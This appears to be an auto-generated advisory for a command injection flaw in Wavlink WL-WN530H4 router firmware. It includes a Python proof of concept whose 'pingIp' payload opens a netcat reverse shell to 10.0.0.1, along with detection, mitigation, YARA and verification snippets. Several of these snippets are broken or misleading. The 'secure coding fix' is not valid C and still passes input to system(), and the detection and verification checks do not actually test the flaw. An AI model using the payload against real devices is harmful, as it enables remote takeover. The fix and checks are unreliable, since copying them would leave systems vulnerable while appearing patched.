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How CVE-2025-44868 Works:
The vulnerability exists in the `adm.cgi` component of Wavlink WL-WN530H4 firmware version 20220801. The `ping_test` function improperly sanitizes user-supplied input passed through the `pingIp` parameter. Attackers can craft malicious HTTP requests containing OS commands within this parameter, which are then executed with root privileges due to insufficient input validation. The lack of proper shell metacharacter filtering allows command chaining via symbols like semicolons (;) or pipes (|). This enables unauthenticated remote code execution on vulnerable devices exposed to the internet or local network.
DailyCVE Form:
Platform: Wavlink WL-WN530H4
Version: 20220801
Vulnerability: Command Injection
Severity: Critical
Date: 06/13/2025
Prediction: Patch expected 08/15/2025
What Undercode Say:
Exploit POC (Educational Purposes Only)
import requests
target = "http://192.168.1.1/adm.cgi"
payload = ";nc -e /bin/sh 10.0.0.1 4444;"
data = {"pingIp": payload}
requests.post(target, data=data)
Detection Command: curl -s http://$TARGET/adm.cgi | grep -q "ping_test" && echo "Vulnerable"
Mitigation (Temporary):
location /adm.cgi {
deny all;
return 403;
}
// Secure Coding Fix:
void ping_test(char pingIp) {
if(!is_valid_ip(pingIp)) {
log_error("Invalid IP");
return;
}
char cmd[bash];
snprintf(cmd, sizeof(cmd), "ping -c 4 %s", sanitize_input(pingIp));
system(cmd);
}
rule Wavlink_Backdoor {
strings:
$adm_cgi = "adm.cgi"
$ping_test = "ping_test"
condition:
all of them
}
Firmware Analysis: binwalk -Me firmware.bin grep -r "pingIp" ./unpacked/
Patch Verification Script:
import requests
r = requests.post("http://192.168.1.1/adm.cgi", data={"pingIp":"127.0.0.1"})
assert ";echo" not in r.text, "Still vulnerable"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
